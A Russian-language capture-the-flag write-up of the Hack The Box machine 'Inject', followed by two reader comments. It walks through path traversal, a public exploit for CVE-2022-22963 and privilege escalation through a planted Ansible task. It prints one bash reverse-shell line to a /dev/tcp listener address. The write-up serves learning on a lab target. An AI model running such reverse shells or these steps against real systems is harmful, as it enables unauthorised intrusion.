Дисклеймер

Привет дорогой хтбшник) Перед прочтением статьи хотел попросить не судить мой разбор строго, так как это первая моя статья посвященная разбору машин HTB.

Всем желаю хорошего прочтения)

Получение флага user.txt

При сканировании видим открытый 8080 порт

Перейдем на сайт по открытому 8080 порту

Кнопки регистрации, авторизации, а также "Start Now" не рабочие

Нас интересует вкладка "Upload"

Перейдя по ней мы видим страницу следущего содержания

Она позволяет загружать фалы только с расширением, которые могут быть у изображений

Загрузим какое-нибудь изображение и посмотрим, что из этого выйдет

Загрузив изображение он предлагает нам на него посмотреть перейдя по ссылке

Перейдя по указанной ссылке мы видим загруженное нами ранее изображение

Но в данном случае нас интресует непосредственно сам ориджин

Из него видно, что для получения изображения мы должны указать его название в параметре img на вкладке show_image

Перейдем в burp и попробуем атаку path traversal

Повезло, нагрузку получилось перебрать руками, так как оказалась очень простой

Видим логины пользователей

Посмотрев их домашние директории видим, что флаг user.txt находится в домашней директории пользователя phil

Большего через path traversal мы не добьемся

Нужно узнать что за сервис висит на данном порту

Получим его баннер

Поискав эксплоит в интернете находим рабочий PoC для CVE-2022-22963

Проверяем PoC и видим, что получилось создать файл в директории /tmp

Создадим sh файл для получения шелла через netcat

Доставляем файл через http python сервер

Файл улетел на сервер

Открываем netcat лисенер на нашем хосте

Дадим права на выполнение скрипта

Запускаем скрипт и получаем шелл

Посмотрев, что у него в директории, видим скрытую папку .m2

В ней лежит файл setting.xml

Прочитав его видим пароль от пользователя phil

Получаем шелл пользователя phil

И забираем флаг

Получение флага root.txt

Перейдем в папку с файлом который подгружается рутовым процессом

Поискав немного в интернете находим, что можно подменить данный файл для повышения привелегий

Для этого создаем у себя на хосте файл такого содержания

Подгружаем его командой curl, через пользователя phil, в директорию /opt/automation/tasks/ и даем ему любое название, но с расширением .yml

После открывем netcat лисенер на нашей машине

От пользователя phil создаем sh файл следующей командой

echo '/bin/bash -i >& /dev/tcp/адрес_лисенера/3434 0>&1' > /tmp/root.sh

Затем необходимо выволнить перезагрузку ansible-playbook с указанием нашего файла

Ура! Мы получили root права. С радостью забираем флаг и бежим его сдавать.

Всем желаю больше побед и успехов в решении подобных заданий!

Комментарии (2)


  1. QtRoS
    00.00.0000 00:00
    +1

    OpenBetaSeason HTB machinesHTB Writeup «Inject» machine [easy]

    Первая мысль:

    Hidden text
    Картинка со звуком
    Картинка со звуком

    Хоть бы слово на русском добавили или какую-то логическую связность на английском :) Воспринимается как набор слов.


    1. uhahatbl_tv Автор
      00.00.0000 00:00
      +1

      Немного поспешил)

      Уже исправил)